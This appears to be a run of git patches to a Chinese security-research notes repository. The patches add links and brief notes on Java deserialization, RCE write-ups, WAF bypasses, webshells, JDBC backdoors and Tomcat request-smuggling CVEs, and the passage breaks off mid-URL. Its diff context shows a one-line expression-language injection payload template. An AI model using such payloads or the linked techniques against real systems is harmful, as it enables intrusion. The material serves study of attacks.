[hw打点之某创中间件](https://mp.weixin.qq.com/s/D-LuR33WKlzRjo0s75TFSQ) From e686af6a063a976db62edd139ee49895e4458fc1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 6 Nov 2022 19:08:20 +0800 Subject: [PATCH 101/254] Update Readme.md --- "java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" index 63f06c2..34fce36 100644 --- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" +++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" @@ -28,3 +28,4 @@ https://www.sec-in.com/author/8 这个师傅太猛了 + 2022/10/08 [实战 | 一次成功的子域名劫持](https://mp.weixin.qq.com/s/xA6OVbeQrCgeYBWMtkvWVA) **学习** + 2022/10/22 [上传包可“绕过”Java过滤器的检查？](https://gv7.me/articles/2019/why-can-multipart-post-bypass-java-filter/) **遇到了post请求有waf可以试一试文件上传的方法传递参数** + 2022/10/22 [burpsuite保存现有数据包记录&导入之前的抓包记录](https://blog.csdn.net/Fly_hps/article/details/88854111) [148处XSS你如何提交给开发修复？](https://gv7.me/articles/2017/how-do-to-submit-148-xss-vulnerabilities/) **bp的保存数据** ++ 2022/11/06 [【干货分享】五分钟教你挖掘小程序漏洞](https://mp.weixin.qq.com/s/95YiN8XJLGPUS5ykBUsmAg【干货分享】五分钟教你挖掘小程序漏洞) **小程序挖掘** From dfcc57324dd22bee09bdfa5b42232ea4e5b40f69 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 6 Nov 2022 20:53:37 +0800 Subject: [PATCH 102/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index fbe1161..a138ee1 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -191,3 +191,4 @@ + 2022/10/30 [Beware the Nashorn: ClassFilter gotchas](https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/) + 2022/11/01 [红队第10篇：coldfusion反序列化过waf改exp拿靶标的艰难过程](https://www.moonsec.com/5362.html) + 2022/11/03 [hw打点之某创中间件](https://mp.weixin.qq.com/s/D-LuR33WKlzRjo0s75TFSQ) ++ 2022/11/06 [看我如何再一次駭進 Facebook，一個在 MobileIron MDM 上的遠端程式碼執行漏洞!](https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM/) 好np啊 From 05dd9a6d4812c96a7f2a0a5efc813d4d2ecd1927 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 6 Nov 2022 21:29:45 +0800 Subject: [PATCH 103/254] Update Readme.md --- shell/EL/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/shell/EL/Readme.md b/shell/EL/Readme.md index 66df221..dfd1a79 100644 --- a/shell/EL/Readme.md +++ b/shell/EL/Readme.md @@ -45,3 +45,5 @@ https://forum.butian.net/share/1880 ```java ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)} ``` + +https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html From 5b42040b3cdf4f8167f5a54026170aa85b8a4589 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 6 Nov 2022 21:31:46 +0800 Subject: [PATCH 104/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a138ee1..54be93c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -192,3 +192,4 @@ + 2022/11/01 [红队第10篇：coldfusion反序列化过waf改exp拿靶标的艰难过程](https://www.moonsec.com/5362.html) + 2022/11/03 [hw打点之某创中间件](https://mp.weixin.qq.com/s/D-LuR33WKlzRjo0s75TFSQ) + 2022/11/06 [看我如何再一次駭進 Facebook，一個在 MobileIron MDM 上的遠端程式碼執行漏洞!](https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM/) 好np啊 ++ 2022/11/06 [How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) **真的np** From 05d5ae707ee8744edd830bafc3ee2e7f10cdfb31 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 8 Nov 2022 00:15:20 +0800 Subject: [PATCH 105/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 54be93c..857b71e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -193,3 +193,4 @@ + 2022/11/03 [hw打点之某创中间件](https://mp.weixin.qq.com/s/D-LuR33WKlzRjo0s75TFSQ) + 2022/11/06 [看我如何再一次駭進 Facebook，一個在 MobileIron MDM 上的遠端程式碼執行漏洞!](https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM/) 好np啊 + 2022/11/06 [How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) **真的np** ++ 2022/11/08 [常见安全工具的扫描流量特征分析与检测](https://mp.weixin.qq.com/s/JyFXNtIwludyDBNQc0-oKw) From cfff1e6afcf4ff447b456036ca4a445b6459b0a7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 9 Nov 2022 13:08:37 +0800 Subject: [PATCH 106/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 857b71e..cb6d354 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -194,3 +194,4 @@ + 2022/11/06 [看我如何再一次駭進 Facebook，一個在 MobileIron MDM 上的遠端程式碼執行漏洞!](https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM/) 好np啊 + 2022/11/06 [How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) **真的np** + 2022/11/08 [常见安全工具的扫描流量特征分析与检测](https://mp.weixin.qq.com/s/JyFXNtIwludyDBNQc0-oKw) ++ 2022/11/09 [Bypass Authentication BurpSuit 插件](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247485029&idx=1&sn=c1a45885d1037f902f172da08d84341d&chksm=c053fd4ff72474590add9334e497b5c08895e564d3a913cf7b20c9a707d204cca47ed160cca9&mpshare=1&scene=23&srcid=1109NLqGHLO9SdPBfzlUhLUT&sharer_sharetime=1667932033444&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **bp 插件** From 98b3345681289c1b407d99630769741bc5b12221 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 9 Nov 2022 13:18:21 +0800 Subject: [PATCH 107/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index cb6d354..a119bff 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -195,3 +195,4 @@ + 2022/11/06 [How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) **真的np** + 2022/11/08 [常见安全工具的扫描流量特征分析与检测](https://mp.weixin.qq.com/s/JyFXNtIwludyDBNQc0-oKw) + 2022/11/09 [Bypass Authentication BurpSuit 插件](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247485029&idx=1&sn=c1a45885d1037f902f172da08d84341d&chksm=c053fd4ff72474590add9334e497b5c08895e564d3a913cf7b20c9a707d204cca47ed160cca9&mpshare=1&scene=23&srcid=1109NLqGHLO9SdPBfzlUhLUT&sharer_sharetime=1667932033444&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **bp 插件** ++ 2022/11/09 [Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247484929&idx=1&sn=39ed4ec26af5a3d40ccefbf340bd295d&chksm=c053fd2bf724743d0a4cf2e5f995c631a33cba1262dfa7cd8bd09966fd71b5f867e6212233c9&mpshare=1&scene=23&srcid=1109ne3bmFyb2NFKi1ISzS1y&sharer_sharetime=1667931921863&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From fafb5256e118e107cd4bce89a584e531465fb42a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 10 Nov 2022 16:15:53 +0800 Subject: [PATCH 108/254] Create CVE-2021-33037.md --- tomcat/Smuggling/CVE-2021-33037.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 tomcat/Smuggling/CVE-2021-33037.md diff --git a/tomcat/Smuggling/CVE-2021-33037.md b/tomcat/Smuggling/CVE-2021-33037.md new file mode 100644 index 0000000..7905c08 --- /dev/null +++ b/tomcat/Smuggling/CVE-2021-33037.md @@ -0,0 +1,4 @@ +Apache Tomcat HTTP请求走私(CVE-2021-33037)漏洞分析 + + +[Apache Tomcat HTTP请求走私(CVE-2021-33037)漏洞分析](https://xz.aliyun.com/t/9866) From 4c3c193f5a638d7a02dfbddc24cd0a7ea74a3cd7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 10 Nov 2022 21:43:42 +0800 Subject: [PATCH 109/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a119bff..6f37201 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -196,3 +196,4 @@ + 2022/11/08 [常见安全工具的扫描流量特征分析与检测](https://mp.weixin.qq.com/s/JyFXNtIwludyDBNQc0-oKw) + 2022/11/09 [Bypass Authentication BurpSuit 插件](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247485029&idx=1&sn=c1a45885d1037f902f172da08d84341d&chksm=c053fd4ff72474590add9334e497b5c08895e564d3a913cf7b20c9a707d204cca47ed160cca9&mpshare=1&scene=23&srcid=1109NLqGHLO9SdPBfzlUhLUT&sharer_sharetime=1667932033444&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **bp 插件** + 2022/11/09 [Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247484929&idx=1&sn=39ed4ec26af5a3d40ccefbf340bd295d&chksm=c053fd2bf724743d0a4cf2e5f995c631a33cba1262dfa7cd8bd09966fd71b5f867e6212233c9&mpshare=1&scene=23&srcid=1109ne3bmFyb2NFKi1ISzS1y&sharer_sharetime=1667931921863&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true** From 55c1eb7eb95ba9523c46bef809589a2fa0deffcb Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 10 Nov 2022 21:47:47 +0800 Subject: [PATCH 110/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6f37201..f24bd56 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -196,4 +196,4 @@ + 2022/11/08 [常见安全工具的扫描流量特征分析与检测](https://mp.weixin.qq.com/s/JyFXNtIwludyDBNQc0-oKw) + 2022/11/09 [Bypass Authentication BurpSuit 插件](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247485029&idx=1&sn=c1a45885d1037f902f172da08d84341d&chksm=c053fd4ff72474590add9334e497b5c08895e564d3a913cf7b20c9a707d204cca47ed160cca9&mpshare=1&scene=23&srcid=1109NLqGHLO9SdPBfzlUhLUT&sharer_sharetime=1667932033444&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **bp 插件** + 2022/11/09 [Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247484929&idx=1&sn=39ed4ec26af5a3d40ccefbf340bd295d&chksm=c053fd2bf724743d0a4cf2e5f995c631a33cba1262dfa7cd8bd09966fd71b5f867e6212233c9&mpshare=1&scene=23&srcid=1109ne3bmFyb2NFKi1ISzS1y&sharer_sharetime=1667931921863&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) -+ 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true** ++ 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查** From 07720c45c22bba5002bf9d3a7623725d59d8ef80 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 11 Nov 2022 11:37:18 +0800 Subject: [PATCH 111/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index f24bd56..59bfd5f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -197,3 +197,4 @@ + 2022/11/09 [Bypass Authentication BurpSuit 插件](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247485029&idx=1&sn=c1a45885d1037f902f172da08d84341d&chksm=c053fd4ff72474590add9334e497b5c08895e564d3a913cf7b20c9a707d204cca47ed160cca9&mpshare=1&scene=23&srcid=1109NLqGHLO9SdPBfzlUhLUT&sharer_sharetime=1667932033444&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **bp 插件** + 2022/11/09 [Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247484929&idx=1&sn=39ed4ec26af5a3d40ccefbf340bd295d&chksm=c053fd2bf724743d0a4cf2e5f995c631a33cba1262dfa7cd8bd09966fd71b5f867e6212233c9&mpshare=1&scene=23&srcid=1109ne3bmFyb2NFKi1ISzS1y&sharer_sharetime=1667931921863&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查** ++ 2022/11/11 [从SPI机制到JDBC后门实现](https://mp.weixin.qq.com/s/vhKWEz9hwhdinm4TEtLUqw) From 66cf07e40861319e9496f869f5f0bc076b502ca9 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 11 Nov 2022 21:25:47 +0800 Subject: [PATCH 112/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 59bfd5f..3622e3f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -198,3 +198,4 @@ + 2022/11/09 [Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马](https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247484929&idx=1&sn=39ed4ec26af5a3d40ccefbf340bd295d&chksm=c053fd2bf724743d0a4cf2e5f995c631a33cba1262dfa7cd8bd09966fd71b5f867e6212233c9&mpshare=1&scene=23&srcid=1109ne3bmFyb2NFKi1ISzS1y&sharer_sharetime=1667931921863&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查** + 2022/11/11 [从SPI机制到JDBC后门实现](https://mp.weixin.qq.com/s/vhKWEz9hwhdinm4TEtLUqw) ++ 2022/11/11 [一起通过Navicat进行供应链攻击的样本分析](https://mp.weixin.qq.com/s?__biz=MzU0MDg1NjMyNQ==&mid=2247485330&idx=1&sn=ad68b1301c9289bc9ebc39640e03315e&chksm=fb339ef8cc4417ee9a047850e999f7db51ebe601b5c6a37cf247f4f17eac1481ec5147f9b5b2&mpshare=1&scene=1&srcid=11117c2tOWqevk7sw3mH7cHO&sharer_sharetime=1668165218192&sharer_shareid=33fdea7abe6be586e131951d667ccd06&key=13199a1408fc416798bb4b4f4fb6a44ff1bd702c2e1d10d0b2b72bfe4b80d53346ab688dc13c8f6da2eb8afdc49c2508f520a4234972ec3cce0a612e7c7d25aad3b5c647e77a6040bc0181802fd86df19f36bc5a21dd8a4702aab2ed6d4a6d59fcdc1c4e6d83b07ffcbcf26f78f9f2122887dee5a5f5d5c39d03a1e27b9eca2c&ascene=1&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308001f&lang=zh_CN&exportkey=n_ChQIAhIQZGY7rBoHsLsIbkHsdPBgBBLvAQIE97dBBAEAAAAAAPWyNDbyQpAAAAAOpnltbLcz9gKNyK89dVj0qe2fqlflmmc8D1eybpB9UjyEVXZxzTjhUQnmaod69dFsw2ig6d2B53zT%2FWgGY2yFadFDdL%2BDBq5jySJDOnOj4H4s5cVqKESUbZ7IUfIsfvyrM4JN6HLsUL1qF1%2BSYWIe8bD1T%2FG9Eye5Qendcd%2FZpmWeJcq7ua%2BvKZrSqWy5TnM6qGrZ9reOvJeBaQo3ZcSk%2BtxapkLHCSRkAejizHNRMYFVlCSSpBP4A6IflbjQ1kX8xDv5oLFHaz3PbQLish3WWGvAqV4ONDWG&acctmode=0&pass_ticket=uGXE0Z4fPCmC9suZxdId189%2FNtwCT5VyAktjMGr70tXhWj2mXEslo4cG4WozS3Vz&wx_header=0&fontgear=2) **好np** From bcf52de768f34a5ec4346883ab62bf23d041ffb3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 11 Nov 2022 22:14:44 +0800 Subject: [PATCH 113/254] Create CVE-2022-42252.md --- tomcat/Smuggling/CVE-2022-42252.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 tomcat/Smuggling/CVE-2022-42252.md diff --git a/tomcat/Smuggling/CVE-2022-42252.md b/tomcat/Smuggling/CVE-2022-42252.md new file mode 100644 index 0000000..5430463 --- /dev/null +++ b/tomcat/Smuggling/CVE-2022-42252.md @@ -0,0 +1,3 @@ +https://www.xujun.org/note-154484.html + +![image](https://user-images.githubusercontent.com/63966847/201358116-b7c2e4de-0c57-461d-86b5-d370b62a5b6d.png) From a392d241bbc1fefb6197ebdced6b47fe756aa16b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 13 Nov 2022 02:01:59 +0800 Subject: [PATCH 114/254] Update Readme.md --- .../Velocity/Readme.md" | 5 +++++ 1 file changed, 5 insertions(+) diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" index f6c05c2..9c7d898 100644 --- "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" @@ -4,3 +4,8 @@ Confluence CVE-2019-3396 Jira CVE-2019-11581 +框架中的利用： + +https://xz.aliyun.com/t/11832 + +配合了fastjson 反序列化生成对象之后调用方法 From 6128099756ad6c518f98e7908731b72dcd2b4a70 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 19 Nov 2022 18:16:19 +0800 Subject: [PATCH 115/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 3622e3f..225f958 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -199,3 +199,4 @@ + 2022/11/10 [Druid远程代码执行漏洞分析（CVE-2021-25646）](https://xz.aliyun.com/t/9229) **简单的说就是使用@JacksonInject注解的时候，可以通过""去匹配参数从而控制值。该漏洞是控制了config 为 true.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查** + 2022/11/11 [从SPI机制到JDBC后门实现](https://mp.weixin.qq.com/s/vhKWEz9hwhdinm4TEtLUqw) + 2022/11/11 [一起通过Navicat进行供应链攻击的样本分析](https://mp.weixin.qq.com/s?__biz=MzU0MDg1NjMyNQ==&mid=2247485330&idx=1&sn=ad68b1301c9289bc9ebc39640e03315e&chksm=fb339ef8cc4417ee9a047850e999f7db51ebe601b5c6a37cf247f4f17eac1481ec5147f9b5b2&mpshare=1&scene=1&srcid=11117c2tOWqevk7sw3mH7cHO&sharer_sharetime=1668165218192&sharer_shareid=33fdea7abe6be586e131951d667ccd06&key=13199a1408fc416798bb4b4f4fb6a44ff1bd702c2e1d10d0b2b72bfe4b80d53346ab688dc13c8f6da2eb8afdc49c2508f520a4234972ec3cce0a612e7c7d25aad3b5c647e77a6040bc0181802fd86df19f36bc5a21dd8a4702aab2ed6d4a6d59fcdc1c4e6d83b07ffcbcf26f78f9f2122887dee5a5f5d5c39d03a1e27b9eca2c&ascene=1&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308001f&lang=zh_CN&exportkey=n_ChQIAhIQZGY7rBoHsLsIbkHsdPBgBBLvAQIE97dBBAEAAAAAAPWyNDbyQpAAAAAOpnltbLcz9gKNyK89dVj0qe2fqlflmmc8D1eybpB9UjyEVXZxzTjhUQnmaod69dFsw2ig6d2B53zT%2FWgGY2yFadFDdL%2BDBq5jySJDOnOj4H4s5cVqKESUbZ7IUfIsfvyrM4JN6HLsUL1qF1%2BSYWIe8bD1T%2FG9Eye5Qendcd%2FZpmWeJcq7ua%2BvKZrSqWy5TnM6qGrZ9reOvJeBaQo3ZcSk%2BtxapkLHCSRkAejizHNRMYFVlCSSpBP4A6IflbjQ1kX8xDv5oLFHaz3PbQLish3WWGvAqV4ONDWG&acctmode=0&pass_ticket=uGXE0Z4fPCmC9suZxdId189%2FNtwCT5VyAktjMGr70tXhWj2mXEslo4cG4WozS3Vz&wx_header=0&fontgear=2) **好np** ++ 2022/11/19 [命令注入执行](https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection) From fa2f01f0e301bd8a36604eed063be0a3c9424286 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 19 Nov 2022 18:21:19 +0800 Subject: [PATCH 116/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 225f958..8360da3 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -200,3 +200,4 @@ + 2022/11/11 [从SPI机制到JDBC后门实现](https://mp.weixin.qq.com/s/vhKWEz9hwhdinm4TEtLUqw) + 2022/11/11 [一起通过Navicat进行供应链攻击的样本分析](https://mp.weixin.qq.com/s?__biz=MzU0MDg1NjMyNQ==&mid=2247485330&idx=1&sn=ad68b1301c9289bc9ebc39640e03315e&chksm=fb339ef8cc4417ee9a047850e999f7db51ebe601b5c6a37cf247f4f17eac1481ec5147f9b5b2&mpshare=1&scene=1&srcid=11117c2tOWqevk7sw3mH7cHO&sharer_sharetime=1668165218192&sharer_shareid=33fdea7abe6be586e131951d667ccd06&key=13199a1408fc416798bb4b4f4fb6a44ff1bd702c2e1d10d0b2b72bfe4b80d53346ab688dc13c8f6da2eb8afdc49c2508f520a4234972ec3cce0a612e7c7d25aad3b5c647e77a6040bc0181802fd86df19f36bc5a21dd8a4702aab2ed6d4a6d59fcdc1c4e6d83b07ffcbcf26f78f9f2122887dee5a5f5d5c39d03a1e27b9eca2c&ascene=1&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308001f&lang=zh_CN&exportkey=n_ChQIAhIQZGY7rBoHsLsIbkHsdPBgBBLvAQIE97dBBAEAAAAAAPWyNDbyQpAAAAAOpnltbLcz9gKNyK89dVj0qe2fqlflmmc8D1eybpB9UjyEVXZxzTjhUQnmaod69dFsw2ig6d2B53zT%2FWgGY2yFadFDdL%2BDBq5jySJDOnOj4H4s5cVqKESUbZ7IUfIsfvyrM4JN6HLsUL1qF1%2BSYWIe8bD1T%2FG9Eye5Qendcd%2FZpmWeJcq7ua%2BvKZrSqWy5TnM6qGrZ9reOvJeBaQo3ZcSk%2BtxapkLHCSRkAejizHNRMYFVlCSSpBP4A6IflbjQ1kX8xDv5oLFHaz3PbQLish3WWGvAqV4ONDWG&acctmode=0&pass_ticket=uGXE0Z4fPCmC9suZxdId189%2FNtwCT5VyAktjMGr70tXhWj2mXEslo4cG4WozS3Vz&wx_header=0&fontgear=2) **好np** + 2022/11/19 [命令注入执行](https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection) ++ 2022/11/19 [Hessian 序列化、反序列化](https://mp.weixin.qq.com/s/icYs7VjPRytt6zgXja9V-w) **学习** From 7d54485b4ab8d17084b1ab28378258eebf095e4c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 20 Nov 2022 20:01:38 +0800 Subject: [PATCH 117/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 8360da3..2e074c2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -201,3 +201,4 @@ + 2022/11/11 [一起通过Navicat进行供应链攻击的样本分析](https://mp.weixin.qq.com/s?__biz=MzU0MDg1NjMyNQ==&mid=2247485330&idx=1&sn=ad68b1301c9289bc9ebc39640e03315e&chksm=fb339ef8cc4417ee9a047850e999f7db51ebe601b5c6a37cf247f4f17eac1481ec5147f9b5b2&mpshare=1&scene=1&srcid=11117c2tOWqevk7sw3mH7cHO&sharer_sharetime=1668165218192&sharer_shareid=33fdea7abe6be586e131951d667ccd06&key=13199a1408fc416798bb4b4f4fb6a44ff1bd702c2e1d10d0b2b72bfe4b80d53346ab688dc13c8f6da2eb8afdc49c2508f520a4234972ec3cce0a612e7c7d25aad3b5c647e77a6040bc0181802fd86df19f36bc5a21dd8a4702aab2ed6d4a6d59fcdc1c4e6d83b07ffcbcf26f78f9f2122887dee5a5f5d5c39d03a1e27b9eca2c&ascene=1&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308001f&lang=zh_CN&exportkey=n_ChQIAhIQZGY7rBoHsLsIbkHsdPBgBBLvAQIE97dBBAEAAAAAAPWyNDbyQpAAAAAOpnltbLcz9gKNyK89dVj0qe2fqlflmmc8D1eybpB9UjyEVXZxzTjhUQnmaod69dFsw2ig6d2B53zT%2FWgGY2yFadFDdL%2BDBq5jySJDOnOj4H4s5cVqKESUbZ7IUfIsfvyrM4JN6HLsUL1qF1%2BSYWIe8bD1T%2FG9Eye5Qendcd%2FZpmWeJcq7ua%2BvKZrSqWy5TnM6qGrZ9reOvJeBaQo3ZcSk%2BtxapkLHCSRkAejizHNRMYFVlCSSpBP4A6IflbjQ1